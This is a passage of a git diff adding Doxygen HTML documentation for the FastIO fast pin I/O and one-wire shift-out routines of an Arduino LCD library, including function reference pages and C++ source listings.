void fio_shiftOut1_init (uint8_t pin)
+

Function Documentation

+ +
+
+ + + + + + + + + + + + + + + + + + +
int fio_digitalRead (fio_register pinRegister,
fio_bit pinBit 
)
+
+
+

direct digital read without any checks falls back to normal digitalRead if fast io is disabled

+
Parameters:
+ + + +
pinRegister[in]Register - ignored if fast io is disabled
pinBit[in]Bit - Pin if fast io is disabled
+
+
+
Returns:
Value read from pin
+ +

Definition at line 95 of file FastIO.cpp.

+ +
+
+ +
+
+ + + + + + + + + + + + + + + + + + + + + + + + +
void fio_digitalWrite (fio_register pinRegister,
fio_bit pinBit,
uint8_t value 
)
+
+
+

direct digital write without any checks falls back to normal digitalWrite if fast io is disabled

+
Parameters:
+ + + + +
pinRegister[in]Register - ignored if fast digital write is disabled
pinBit[in]Bit - Pin if fast digital write is disabled
value[in]desired output
+
+
+ +

Definition at line 76 of file FastIO.cpp.

+ +
+
+ +
+
+ + + + + + + + +
fio_bit fio_pinToBit (uint8_t pin)
+
+
+

Find the bit which belongs to specified pin if fast digitalWrite is disabled this function returns the pin

+
Parameters:
+ + +
pin[in]Number of a digital pin
+
+
+
Returns:
Bit
+ +

Definition at line 65 of file FastIO.cpp.

+ +
+
+ +
+
+ + + + + + + + +
fio_register fio_pinToInputRegister (uint8_t pin)
+
+
+

Get the input register for specified pin. if fast digital IO is disabled this function returns NULL

+
Parameters:
+ + +
pin[in]Number of a digital pin
+
+
+
Returns:
Register
+ +

Definition at line 52 of file FastIO.cpp.

+ +
+
+ +
+
+ + + + + + + + + + + + + + + + + + +
fio_register fio_pinToOutputRegister (uint8_t pin,
uint8_t initial_state = LOW 
)
+
+
+

Get the output register for specified pin. if fast digital IO is disabled this function returns NULL

+
Parameters:
+ + +
pin[in]Number of a digital pin
+
+
+
Returns:
Register
+ +

Definition at line 35 of file FastIO.cpp.

+ +
+
+ +
+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
void fio_shiftOut (fio_register dataRegister,
fio_bit dataBit,
fio_register clockRegister,
fio_bit clockBit 
)
+
+
+

faster shift out clear using fast digital write falls back to normal digitalWrite if fastio is disabled

+
Parameters:
+ + + + + +
dataRegister[in]Register of data pin - ignored if fast digital write is disabled
dataBit[in]Bit of data pin - Pin if fast digital write is disabled
clockRegister[in]Register of data pin - ignored if fast digital write is disabled
clockBit[in]Bit of data pin - Pin if fast digital write is disabled
+
+
+ +

Definition at line 159 of file FastIO.cpp.

+ +
+
+ +
+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
void fio_shiftOut (fio_register dataRegister,
fio_bit dataBit,
fio_register clockRegister,
fio_bit clockBit,
uint8_t value,
uint8_t bitOrder 
)
+
+
+

faster shift out using fast digital write falls back to normal digitalWrite if fastio is disabled

+
Parameters:
+ + + + + + +
dataRegister[in]Register of data pin - ignored if fast digital write is disabled
dataBit[in]Bit of data pin - Pin if fast digital write is disabled
clockRegister[in]Register of data pin - ignored if fast digital write is disabled
clockBit[in]Bit of data pin - Pin if fast digital write is disabled
bitOrder[in]bit order
+
+
+ +

Definition at line 108 of file FastIO.cpp.

+ +
+
+ +
+
+ + + + + + + + + + + + + + + + + + + + + + + + +
void fio_shiftOut1 (uint8_t pin,
uint8_t value,
boolean noLatch = false 
)
+
+
+

one wire shift out protocol needs initialisation (fio_shiftOut1_init)

+
Parameters:
+ + + +
pin[in]digital pin
value[in]value to shift out, last byte is ignored and always shifted out LOW
+
+
+ +

Definition at line 264 of file FastIO.cpp.

+ +
+
+ +
+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
void fio_shiftOut1 (fio_register shift1Register,
fio_bit shift1Bit,
uint8_t value,
boolean noLatch = false 
)
+
+
+

one wire shift out protocol needs initialisation (fio_shiftOut1_init)

+
Parameters:
+ + + + +
shift1Register[in]pins register
shift1Bit[in]pins bit
value[in]value to shift out, last byte is ignored and always shifted out LOW
+
+
+ +

Definition at line 190 of file FastIO.cpp.

+ +
+
+ +
+
+ + + + + + + + + + + + + + + + + + +
void fio_shiftOut1_init (fio_register shift1Register,
fio_bit shift1Bit 
)
+
+
+

initializes one wire shift out protocol Puts pin to HIGH state and delays until Capacitors are charged.

+
Parameters:
+ + + +
shift1Register[in]pins register
shift1Bit[in]pins bit
+
+
+ +

Definition at line 181 of file FastIO.cpp.

+ +
+
+ +
+
+ + + + + + + + +
void fio_shiftOut1_init (uint8_t pin)
+
+
+

initializes one wire shift out protocol Puts pin to HIGH state and delays until Capacitors are charged.

+
Parameters:
+ + +
pin[in]digital pin
+
+
+ +

Definition at line 176 of file FastIO.cpp.

+ +
+
+
+ + + + +
+ +
+ + + + diff --git a/libraries/LiquidCrystal/docs/html/_fast_i_o_8cpp_source.html b/libraries/LiquidCrystal/docs/html/_fast_i_o_8cpp_source.html new file mode 100644 index 0000000..af9f776 --- /dev/null +++ b/libraries/LiquidCrystal/docs/html/_fast_i_o_8cpp_source.html @@ -0,0 +1,351 @@ + + + + +LCD Library: /Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/FastIO.cpp Source File + + + + + + + + +
+
+ + + + + + + +
+
LCD Library 1.2.1
+
LCD Library - LCD control class hierarchy library. Drop in replacement for the LiquidCrystal Library.
+
+
+ + +
+
+
/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/FastIO.cpp
+
+
+Go to the documentation of this file.
00001 // ---------------------------------------------------------------------------
+00002 // Created by Florian Fida on 20/01/12
+00003 // Copyright 2012 - Under creative commons license 3.0:
+00004 //        Attribution-ShareAlike CC BY-SA
+00005 //        http://creativecommons.org/licenses/by-sa/3.0/
+00006 //
+00007 // This software is furnished "as is", without technical support, and with no
+00008 // warranty, express or implied, as to its usefulness for any purpose.
+00009 // ---------------------------------------------------------------------------
+00010 // fio_shiftOut1 functions are based on Shif1 protocol developed by Roman Black 
+00011 // (http://www.romanblack.com/shift1.htm)
+00012 //
+00013 // Thread Safe: No
+00014 // Extendable: Yes
+00015 //
+00016 // @file FastIO.h
+00017 // This file implements basic fast IO routines.
+00018 // 
+00019 // @brief 
+00020 //
+00021 // @version API 1.0.0
+00022 //
+00023 // @author Florian Fida -
+00024 //
+00025 // 2012-03-16 bperrybap updated fio_shiftout() to be smaller & faster
+00026 //
+00027 // @todo:
+00028 //  support chipkit:
+00029 // (https://github.com/chipKIT32/chipKIT32-MAX/blob/master/hardware/pic32/
+00030 //   cores/pic32/wiring_digital.c)
+00031 // ---------------------------------------------------------------------------
+00032 #include "FastIO.h"
+00033 
+00034 
+00035 fio_register fio_pinToOutputRegister(uint8_t pin, uint8_t initial_state)
+00036 {
+00037         pinMode(pin, OUTPUT);
+00038    
+00039         if(initial_state != SKIP) 
+00040    {
+00041       digitalWrite(pin, initial_state); // also turns off pwm timer
+00042    }
+00043 #ifdef FIO_FALLBACK
+00044         //  just wasting memory if not using fast io...
+00045         return 0;
+00046 #else
+00047         return portOutputRegister(digitalPinToPort(pin));
+00048 #endif
+00049 }
+00050 
+00051 
+00052 fio_register fio_pinToInputRegister(uint8_t pin)
+00053 {
+00054         pinMode(pin, INPUT);
+00055         digitalWrite(pin, LOW); // also turns off pwm timer and pullup
+00056 #ifdef FIO_FALLBACK
+00057         //  just wasting memory if not using fast io...
+00058         return 0;
+00059 #else
+00060         return portInputRegister(digitalPinToPort(pin));
+00061 #endif
+00062 }
+00063 
+00064 
+00065 fio_bit fio_pinToBit(uint8_t pin)
+00066 {
+00067 #ifdef FIO_FALLBACK
+00068         // (ab)use the bit variable to store the pin
+00069         return pin;
+00070 #else
+00071         return digitalPinToBitMask(pin);
+00072 #endif
+00073 }
+00074 
+00075 
+00076 void fio_digitalWrite(fio_register pinRegister, fio_bit pinBit, uint8_t value) 
+00077 {
+00078 #ifdef FIO_FALLBACK
+00079         digitalWrite(pinBit, value);
+00080 #else
+00081    ATOMIC_BLOCK(ATOMIC_RESTORESTATE)
+00082    {
+00083       if(value == LOW)
+00084       {
+00085          fio_digitalWrite_LOW(pinRegister,pinBit);
+00086       }
+00087       else
+00088       {
+00089          fio_digitalWrite_HIGH(pinRegister,pinBit);
+00090       }
+00091    }
+00092 #endif
+00093 }
+00094 
+00095 int fio_digitalRead(fio_register pinRegister, uint8_t pinBit)
+00096 {
+00097 #ifdef FIO_FALLBACK
+00098         return digitalRead (pinBit);
+00099 #else
+00100         if (*pinRegister & pinBit)
+00101    {
+00102       return HIGH;
+00103    }
+00104         return LOW;
+00105 #endif
+00106 }
+00107 
+00108 void fio_shiftOut (fio_register dataRegister, fio_bit dataBit, 
+00109                    fio_register clockRegister, fio_bit clockBit, 
+00110                    uint8_t value, uint8_t bitOrder)
+00111 {
+00112         // # disable interrupts
+00113         int8_t i;
+00114    
+00115         if(bitOrder == LSBFIRST)
+00116         {
+00117                 for(i = 0; i < 8; i++)
+00118                 {
+00119                         ATOMIC_BLOCK(ATOMIC_RESTORESTATE)
+00120                         {
+00121                                 if(value & 1)
+00122             {
+00123                fio_digitalWrite_HIGH(dataRegister, dataBit);
+00124                                 }
+00125             else
+00126             {
+00127                fio_digitalWrite_LOW(dataRegister, dataBit);
+00128             }
+00129             value >>= 1;
+00130                                 fio_digitalWrite_HIGH (clockRegister, clockBit);
+00131                                 fio_digitalWrite_LOW (clockRegister,clockBit);
+00132                         }
+00133                 }
+00134       
+00135         }
+00136         else
+00137         {
+00138                 for(i = 0; i < 8; i++)
+00139                 {
+00140                         ATOMIC_BLOCK(ATOMIC_RESTORESTATE)
+00141                         {
+00142                                 if(value & 0x80)
+00143             {
+00144                fio_digitalWrite_HIGH(dataRegister, dataBit);
+00145                                 }
+00146             else
+00147             {
+00148                fio_digitalWrite_LOW(dataRegister, dataBit);
+00149             }
+00150                                 value <<= 1;
+00151                                 fio_digitalWrite_HIGH (clockRegister, clockBit);
+00152                                 fio_digitalWrite_LOW (clockRegister,clockBit);
+00153                         }
+00154                 }
+00155         }
+00156 }
+00157 
+00158 
+00159 void fio_shiftOut(fio_register dataRegister, fio_bit dataBit, 
+00160                   fio_register clockRegister, fio_bit clockBit)
+00161 {
+00162    ATOMIC_BLOCK(ATOMIC_RESTORESTATE)
+00163    {
+00164       // shift out 0x0 (B00000000) fast, byte order is irrelevant
+00165       fio_digitalWrite_LOW (dataRegister, dataBit);
+00166       
+00167       for(uint8_t i = 0; i<8; ++i)
+00168       {
+00169          fio_digitalWrite_HIGH (clockRegister, clockBit);
+00170          fio_digitalWrite_SWITCH (clockRegister, clockBit);
+00171       }
+00172    }
+00173 }
+00174 
+00175 
+00176 void fio_shiftOut1_init(uint8_t pin)
+00177 {
+00178         fio_shiftOut1_init(fio_pinToOutputRegister(pin,HIGH),fio_pinToBit(pin));
+00179 }
+00180 
+00181 void fio_shiftOut1_init(fio_register shift1Register, fio_bit shift1Bit)
+00182 {
+00183         // Make sure that capacitors are charged
+00184         // 300us is an educated guess...
+00185         fio_digitalWrite(shift1Register,shift1Bit,HIGH);
+00186         delayMicroseconds(300);
+00187 }
+00188 
+00189 
+00190 void fio_shiftOut1(fio_register shift1Register, fio_bit shift1Bit, uint8_t value, 
+00191                    boolean noLatch)
+00192 {
+00193         /*
+00194          * this function are based on Shif1 protocol developed by Roman Black 
+00195     *    (http://www.romanblack.com/shift1.htm)
+00196          *
+00197          * test sketches:
+00198          *      http://pastebin.com/raw.php?i=2hnC9v2Z
+00199          *      http://pastebin.com/raw.php?i=bGg4DhXQ
+00200          *      http://pastebin.com/raw.php?i=tg1ZFiM5
+00201          *    http://pastebin.com/raw.php?i=93ExPDD3 - cascading
+00202          * tested with:
+00203          *      TPIC6595N - seems to work fine (circuit: http://www.3guys1laser.com/
+00204     *                   arduino-one-wire-shift-register-prototype)
+00205          *      7HC595N
+00206          */
+00207    
+00208         // iterate but ignore last bit (is it correct now?)
+00209         for(int8_t i = 7; i>=0; --i)
+00210    {
+00211       
+00212                 // assume that pin is HIGH (smokin' pot all day... :) - requires 
+00213       // initialization
+00214                 if(value & _BV(i))
+00215       {
+00216          ATOMIC_BLOCK(ATOMIC_RESTORESTATE)
+00217          {
+00218             // HIGH = 1 Bit
+00219             fio_digitalWrite_SWITCHTO(shift1Register,shift1Bit,LOW);
+00220             //hold pin LOW for 1us - done! :)
+00221             fio_digitalWrite_SWITCHTO(shift1Register,shift1Bit,HIGH);
+00222          } // end critical section
+00223          //hold pin HIGH for 15us
+00224          delayMicroseconds(15);
+00225                 }
+00226       else
+00227       {
+00228          ATOMIC_BLOCK(ATOMIC_RESTORESTATE)
+00229          {
+00230             // LOW = 0 Bit
+00231             fio_digitalWrite_SWITCHTO(shift1Register,shift1Bit,LOW);
+00232             // hold pin LOW for 15us
+00233             delayMicroseconds(15);
+00234             fio_digitalWrite_SWITCHTO(shift1Register,shift1Bit,HIGH);
+00235          } // end critical section
+00236          
+00237          // hold pin HIGH for 30us
+00238          delayMicroseconds(30);         
+00239                 }
+00240                 if(!noLatch && i==1)
+00241       {
+00242          break;
+00243       }
+00244         }
+00245    
+00246         if(!noLatch)
+00247    {
+00248       ATOMIC_BLOCK(ATOMIC_RESTORESTATE)
+00249       {
+00250          // send last bit (=LOW) and Latch command
+00251          fio_digitalWrite_SWITCHTO(shift1Register,shift1Bit,LOW);
+00252       } // end critical section
+00253       delayMicroseconds(199);           // Hold pin low for 200us
+00254       
+00255       ATOMIC_BLOCK(ATOMIC_RESTORESTATE)
+00256       {
+00257          fio_digitalWrite_HIGH(shift1Register,shift1Bit);
+00258       } // end critical section
+00259                 delayMicroseconds(299);   // Hold pin high for 300us and leave it that 
+00260       // way - using explicit HIGH here, just in case.
+00261         }
+00262 }
+00263 
+00264 void fio_shiftOut1(uint8_t pin, uint8_t value, boolean noLatch)
+00265 {
+00266         fio_shiftOut1(fio_pinToOutputRegister(pin, SKIP),fio_pinToBit(pin),value, noLatch);
+00267 }
+
+
+ + + + +
+ +
+ + + + diff --git a/libraries/LiquidCrystal/docs/html/_fast_i_o_8h.html b/libraries/LiquidCrystal/docs/html/_fast_i_o_8h.html new file mode 100644 index 0000000..b840b04 --- /dev/null +++ b/libraries/LiquidCrystal/docs/html/_fast_i_o_8h.html @@ -0,0 +1,786 @@ + + + + +LCD Library: /Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/FastIO.h File Reference + + + + + + + + +
+
+ + + + + + + +
+
LCD Library 1.2.1
+
LCD Library - LCD control class hierarchy library. Drop in replacement for the LiquidCrystal Library.
+
+
+ + +
+
+ +
+
/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/FastIO.h File Reference
+
+
+
#include <WProgram.h>
+#include <pins_arduino.h>
+#include <inttypes.h>
+
+

Go to the source code of this file.

+ + + + + + + + + + + + + + + + + + + + + + + + + +

+Defines

#define ATOMIC_BLOCK(dummy)   if(true)
#define ATOMIC_RESTORESTATE
#define fio_digitalWrite_HIGH(reg, bit)   digitalWrite(bit,HIGH)
#define fio_digitalWrite_LOW(reg, bit)   digitalWrite(bit,LOW)
#define fio_digitalWrite_SWITCH(reg, bit)   digitalWrite(bit, !digitalRead(bit))
#define fio_digitalWrite_SWITCHTO(reg, bit, val)   digitalWrite(bit,val);
#define FIO_FALLBACK
#define SKIP   0x23

+Typedefs

typedef uint8_t fio_bit
typedef uint8_t fio_register

+Functions

int fio_digitalRead (fio_register pinRegister, fio_bit pinBit)
void fio_digitalWrite (fio_register pinRegister, fio_bit pinBit, uint8_t value)
fio_bit fio_pinToBit (uint8_t pin)
fio_register fio_pinToInputRegister (uint8_t pin)
fio_register fio_pinToOutputRegister (uint8_t pin, uint8_t initial_state=LOW)
void fio_shiftOut (fio_register dataRegister, fio_bit dataBit, fio_register clockRegister, fio_bit clockBit)
void fio_shiftOut (fio_register dataRegister, fio_bit dataBit, fio_register clockRegister, fio_bit clockBit, uint8_t value, uint8_t bitOrder)
void fio_shiftOut1 (fio_register shift1Register, fio_bit shift1Bit, uint8_t value, boolean noLatch=false)
void fio_shiftOut1 (uint8_t pin, uint8_t value, boolean noLatch=false)
void fio_shiftOut1_init (fio_register shift1Register, fio_bit shift1Bit)
void fio_shiftOut1_init (uint8_t pin)
+

Define Documentation

+ +
+
+ + + + + + + + +
#define ATOMIC_BLOCK( dummy)   if(true)
+
+
+ +

Definition at line 58 of file FastIO.h.

+ +
+
+ +
+
+ + + + +
#define ATOMIC_RESTORESTATE
+
+
+ +

Definition at line 59 of file FastIO.h.

+ +
+
+ +
+
+ + + + + + + + + + + + + + + + + + +
#define fio_digitalWrite_HIGH( reg,
 bit 
)   digitalWrite(bit,HIGH)
+
+
+

This is where the magic happens that makes things fast. Implemented as preprocessor directives to force inlining SWITCH is fast for FIO but probably slow for FIO_FALLBACK so SWITCHTO is recommended if the value is known.

+ +

Definition at line 143 of file FastIO.h.

+ +
+
+ +
+
+ + + + + + + + + + + + + + + + + + +
#define fio_digitalWrite_LOW( reg,
 bit 
)   digitalWrite(bit,LOW)
+
+
+ +

Definition at line 144 of file FastIO.h.

+ +
+
+ +
+
+ + + + + + + + + + + + + + + + + + +
#define fio_digitalWrite_SWITCH( reg,
 bit 
)   digitalWrite(bit, !digitalRead(bit))
+
+
+ +

Definition at line 145 of file FastIO.h.

+ +
+
+ +
+
+ + + + + + + + + + + + + + + + + + + + + + + + +
#define fio_digitalWrite_SWITCHTO( reg,
 bit,
 val 
)   digitalWrite(bit,val);
+
+
+ +

Definition at line 146 of file FastIO.h.

+ +
+
+ +
+
+ + + + +
#define FIO_FALLBACK
+
+
+ +

Definition at line 57 of file FastIO.h.

+ +
+
+ +
+
+ + + + +
#define SKIP   0x23
+
+
+ +

Definition at line 42 of file FastIO.h.

+ +
+
+

Typedef Documentation

+ +
+
+ + + + +
typedef uint8_t fio_bit
+
+
+ +

Definition at line 60 of file FastIO.h.

+ +
+
+ +
+
+ + + + +
typedef uint8_t fio_register
+
+
+ +

Definition at line 61 of file FastIO.h.

+ +
+
+

Function Documentation

+ +
+
+ + + + + + + + + + + + + + + + + + +
int fio_digitalRead (fio_register pinRegister,
fio_bit pinBit 
)
+
+
+

direct digital read without any checks falls back to normal digitalRead if fast io is disabled

+
Parameters:
+ + + +
pinRegister[in]Register - ignored if fast io is disabled
pinBit[in]Bit - Pin if fast io is disabled
+
+
+
Returns:
Value read from pin
+ +

Definition at line 95 of file FastIO.cpp.

+ +
+
+ +
+
+ + + + + + + + + + + + + + + + + + + + + + + + +
void fio_digitalWrite (fio_register pinRegister,
fio_bit pinBit,
uint8_t value 
)
+
+
+

direct digital write without any checks falls back to normal digitalWrite if fast io is disabled

+
Parameters:
+ + + + +
pinRegister[in]Register - ignored if fast digital write is disabled
pinBit[in]Bit - Pin if fast digital write is disabled
value[in]desired output
+
+
+ +

Definition at line 76 of file FastIO.cpp.

+ +
+
+ +
+
+ + + + + + + + +
fio_bit fio_pinToBit (uint8_t pin)
+
+
+

Find the bit which belongs to specified pin if fast digitalWrite is disabled this function returns the pin

+
Parameters:
+ + +
pin[in]Number of a digital pin
+
+
+
Returns:
Bit
+ +

Definition at line 65 of file FastIO.cpp.

+ +
+
+ +
+
+ + + + + + + + +
fio_register fio_pinToInputRegister (uint8_t pin)
+
+
+

Get the input register for specified pin. if fast digital IO is disabled this function returns NULL

+
Parameters:
+ + +
pin[in]Number of a digital pin
+
+
+
Returns:
Register
+ +

Definition at line 52 of file FastIO.cpp.

+ +
+
+ +
+
+ + + + + + + + + + + + + + + + + + +
fio_register fio_pinToOutputRegister (uint8_t pin,
uint8_t initial_state = LOW 
)
+
+
+

Get the output register for specified pin. if fast digital IO is disabled this function returns NULL

+
Parameters:
+ + +
pin[in]Number of a digital pin
+
+
+
Returns:
Register
+ +

Definition at line 35 of file FastIO.cpp.

+ +
+
+ +
+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
void fio_shiftOut (fio_register dataRegister,
fio_bit dataBit,
fio_register clockRegister,
fio_bit clockBit 
)
+
+
+

faster shift out clear using fast digital write falls back to normal digitalWrite if fastio is disabled

+
Parameters:
+ + + + + +
dataRegister[in]Register of data pin - ignored if fast digital write is disabled
dataBit[in]Bit of data pin - Pin if fast digital write is disabled
clockRegister[in]Register of data pin - ignored if fast digital write is disabled
clockBit[in]Bit of data pin - Pin if fast digital write is disabled
+
+
+ +

Definition at line 159 of file FastIO.cpp.

+ +
+
+ +
+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
void fio_shiftOut (fio_register dataRegister,
fio_bit dataBit,
fio_register clockRegister,
fio_bit clockBit,
uint8_t value,
uint8_t bitOrder 
)
+
+
+

faster shift out using fast digital write falls back to normal digitalWrite if fastio is disabled

+
Parameters:
+ + + + + + +
dataRegister[in]Register of data pin - ignored if fast digital write is disabled
dataBit[in]Bit of data pin - Pin if fast digital write is disabled
clockRegister[in]Register of data pin - ignored if fast digital write is disabled
clockBit[in]Bit of data pin - Pin if fast digital write is disabled
bitOrder[in]bit order
+
+
+ +

Definition at line 108 of file FastIO.cpp.

+ +
+
+ +
+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
void fio_shiftOut1 (fio_register shift1Register,
fio_bit shift1Bit,
uint8_t value,
boolean noLatch = false 
)
+
+
+

one wire shift out protocol needs initialisation (fio_shiftOut1_init)

+
Parameters:
+ + + + +
shift1Register[in]pins register
shift1Bit[in]pins bit
value[in]value to shift out, last byte is ignored and always shifted out LOW
+
+
+ +

Definition at line 190 of file FastIO.cpp.

+ +
+
+ +
+
+ + + + + + + + + + + + + + + + + + + + + + + + +
void fio_shiftOut1 (uint8_t pin,
uint8_t value,
boolean noLatch = false 
)
+
+
+

one wire shift out protocol needs initialisation (fio_shiftOut1_init)

+
Parameters:
+ + + +
pin[in]digital pin
value[in]value to shift out, last byte is ignored and always shifted out LOW
+
+
+ +

Definition at line 264 of file FastIO.cpp.

+ +
+
+ +
+
+ + + + + + + + + + + + + + + + + + +
void fio_shiftOut1_init (fio_register shift1Register,
fio_bit shift1Bit 
)
+
+
+

initializes one wire shift out protocol Puts pin to HIGH state and delays until Capacitors are charged.

+
Parameters:
+ + + +
shift1Register[in]pins register
shift1Bit[in]pins bit
+
+
+ +

Definition at line 181 of file FastIO.cpp.

+ +
+
+ +
+
+ + + + + + + + +
void fio_shiftOut1_init (uint8_t pin)
+
+
+

initializes one wire shift out protocol Puts pin to HIGH state and delays until Capacitors are charged.

+
Parameters:
+ + +
pin[in]digital pin
+
+
+ +

Definition at line 176 of file FastIO.cpp.

+ +
+
+
+ + + + +
+ +
+ + + + diff --git a/libraries/LiquidCrystal/docs/html/_fast_i_o_8h_source.html b/libraries/LiquidCrystal/docs/html/_fast_i_o_8h_source.html new file mode 100644 index 0000000..b17f76f --- /dev/null +++ b/libraries/LiquidCrystal/docs/html/_fast_i_o_8h_source.html @@ -0,0 +1,209 @@ + + + + +LCD Library: /Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/FastIO.h Source File + + + + + + + + +
+
+ + + + + + + +
+
LCD Library 1.2.1
+
LCD Library - LCD control class hierarchy library. Drop in replacement for the LiquidCrystal Library.
+
+
+ + +
+
+
/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/FastIO.h
+
+
+Go to the documentation of this file.
00001 // ---------------------------------------------------------------------------
+00002 // Created by Florian Fida on 20/01/12
+00003 // Copyright 2012 - Under creative commons license 3.0:
+00004 //        Attribution-ShareAlike CC BY-SA
+00005 //        http://creativecommons.org/licenses/by-sa/3.0/
+00006 //
+00007 // This software is furnished "as is", without technical support, and with no
+00008 // warranty, express or implied, as to its usefulness for any purpose.
+00009 // ---------------------------------------------------------------------------
+00010 // fio_shiftOut1 functions are based on Shif1 protocol developed by Roman Black 
+00011 // (http://www.romanblack.com/shift1.htm)
+00012 //
+00013 // Thread Safe: No
+00014 // Extendable: Yes
+00015 //
+00016 // @file FastIO.h
+00017 // This file implements basic fast IO routines.
+00018 // 
+00019 // @brief 
+00020 //
+00021 // @version API 1.0.0
+00022 //
+00023 // @author Florian Fida -
+00024 // 2012-03-16 bperrybap mods for chipkit32 (pic32) Arduino
+00025 //  support chipkit:
+00026 // (https://github.com/chipKIT32/chipKIT32-MAX/blob/master/hardware/pic32/
+00027 //   cores/pic32/wiring_digital.c)
+00028 // ---------------------------------------------------------------------------
+00029 #ifndef _FAST_IO_H_
+00030 #define _FAST_IO_H_
+00031 
+00032 #if (ARDUINO <  100)
+00033 #include <WProgram.h>
+00034 #else
+00035 #include <Arduino.h>
+00036 #endif
+00037 
+00038 #include <pins_arduino.h> // pleasing sanguino core
+00039 #include <inttypes.h>
+00040 
+00041 
+00042 #define SKIP 0x23
+00043 
+00044 #if defined (__AVR__)
+00045 #include <util/atomic.h> // for critical section management
+00046 typedef uint8_t fio_bit;
+00047 typedef volatile uint8_t *fio_register;
+00048 
+00049 
+00050 #elif defined(__PIC32MX__)
+00051 typedef uint32_t fio_bit;
+00052 typedef volatile uint32_t *fio_register;
+00053 
+00054 
+00055 #else
+00056 // fallback to Arduino standard digital i/o routines
+00057 #define FIO_FALLBACK
+00058 #define ATOMIC_BLOCK(dummy) if(true)
+00059 #define ATOMIC_RESTORESTATE
+00060 typedef uint8_t fio_bit;
+00061 typedef uint8_t fio_register;
+00062 #endif
+00063 
+00064 
+00065 
+00066 #if !defined(FIO_FALLBACK) && !defined(ATOMIC_BLOCK)
+00067 /*
+00068  * Define an ATOMIC_BLOCK that implements ATOMIC_FORCEON type
+00069  * Using the portable Arduino interrupts() and noInterrupts()
+00070  */
+00071 #define ATOMIC_RESTORESTATE ATOMIC_FORCEON // sorry, no support for save/restore yet.
+00072 #define ATOMIC_FORCEON uint8_t sreg_save \
+00073               __attribute__((__cleanup__(__iSeiParam))) = 0
+00074 
+00075 static __inline__ uint8_t __iCliRetVal(void)
+00076 {
+00077         noInterrupts();
+00078         return(1);
+00079 }
+00080 static __inline__ void __iSeiParam(const uint8_t *__s)
+00081 {
+00082         interrupts();
+00083 }
+00084 #define ATOMIC_BLOCK(type) for(type,  __Todo = __iCliRetVal(); __Todo; __Todo = 0)
+00085 
+00086 #endif // end of block to create compatible ATOMIC_BLOCK()
+00087 
+00088 
+00089 
+00097 fio_register fio_pinToOutputRegister(uint8_t pin, uint8_t initial_state = LOW);
+00098 
+00106 fio_register fio_pinToInputRegister(uint8_t pin);
+00107 
+00115 fio_bit fio_pinToBit(uint8_t pin);
+00116 
+00117 
+00127 // __attribute__ ((always_inline)) /* let the optimizer decide that for now */
+00128 void fio_digitalWrite ( fio_register pinRegister, fio_bit pinBit, uint8_t value );
+00129 
+00136 #ifndef FIO_FALLBACK
+00137 #define fio_digitalWrite_LOW(reg,bit) *reg &= ~bit
+00138 #define fio_digitalWrite_HIGH(reg,bit) *reg |= bit
+00139 #define fio_digitalWrite_SWITCH(reg,bit) *reg ^= bit
+00140 #define fio_digitalWrite_SWITCHTO(reg,bit,val) fio_digitalWrite_SWITCH(reg,bit)
+00141 #else
+00142 // reg -> dummy NULL, bit -> pin
+00143 #define fio_digitalWrite_HIGH(reg,bit) digitalWrite(bit,HIGH)
+00144 #define fio_digitalWrite_LOW(reg,bit) digitalWrite(bit,LOW)
+00145 #define fio_digitalWrite_SWITCH(reg,bit) digitalWrite(bit, !digitalRead(bit))
+00146 #define fio_digitalWrite_SWITCHTO(reg,bit,val) digitalWrite(bit,val);
+00147 #endif
+00148 
+00158 int fio_digitalRead ( fio_register pinRegister, fio_bit pinBit );
+00159 
+00171 void fio_shiftOut( fio_register dataRegister, fio_bit dataBit, fio_register clockRegister, 
+00172                   fio_bit clockBit, uint8_t value, uint8_t bitOrder );
+00173 
+00184 void fio_shiftOut(fio_register dataRegister, fio_bit dataBit, fio_register clockRegister, fio_bit clockBit);
+00185 
+00194 void fio_shiftOut1(fio_register shift1Register, fio_bit shift1Bit, uint8_t value, boolean noLatch = false);
+00202 void fio_shiftOut1(uint8_t pin, uint8_t value, boolean noLatch = false);
+00210 void fio_shiftOut1_init(fio_register shift1Register, fio_bit shift1Bit);
+00217 void fio_shiftOut1_init(uint8_t pin);
+00218 
+00219 #endif // FAST_IO_H
+
+
+ + + + +
+ +
+ + + + diff --git a/libraries/LiquidCrystal/docs/html/_i2_c_i_o_8cpp.html b/libraries/LiquidCrystal/docs/html/_i2_c_i_o_8cpp.html new file mode 100644 index 0000000..36e213d --- /dev/null +++ b/libraries/LiquidCrystal/docs/html/_i2_c_i_o_8cpp.html @@ -0,0 +1,92 @@ + + + + +LCD Library: /Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/I2CIO.cpp File Reference + + + + + + + + +
+
+ + + + + + + +
+
LCD Library 1.2.1
+
LCD Library - LCD control class hierarchy library. Drop in replacement for the LiquidCrystal Library.
+
+
+ + +
+
+
+
/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/I2CIO.cpp File Reference
+
+
+
#include <WProgram.h>
+#include <inttypes.h>
+#include <../Wire/Wire.h>
+#include "I2CIO.h"
+
+

Go to the source code of this file.

+ +
+
+ + + + +
+ +
+ + + + diff --git a/libraries/LiquidCrystal/docs/html/_i2_c_i_o_8cpp_source.html b/libraries/LiquidCrystal/docs/html/_i2_c_i_o_8cpp_source.html new file mode 100644 index 0000000..332da7b --- /dev/null +++ b/libraries/LiquidCrystal/docs/html/_i2_c_i_o_8cpp_source.html @@ -0,0 +1,282 @@ + + + + +LCD Library: /Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/I2CIO.cpp Source File + + + + + + + + +
+
+ + + + + + + +
+
LCD Library 1.2.1
+
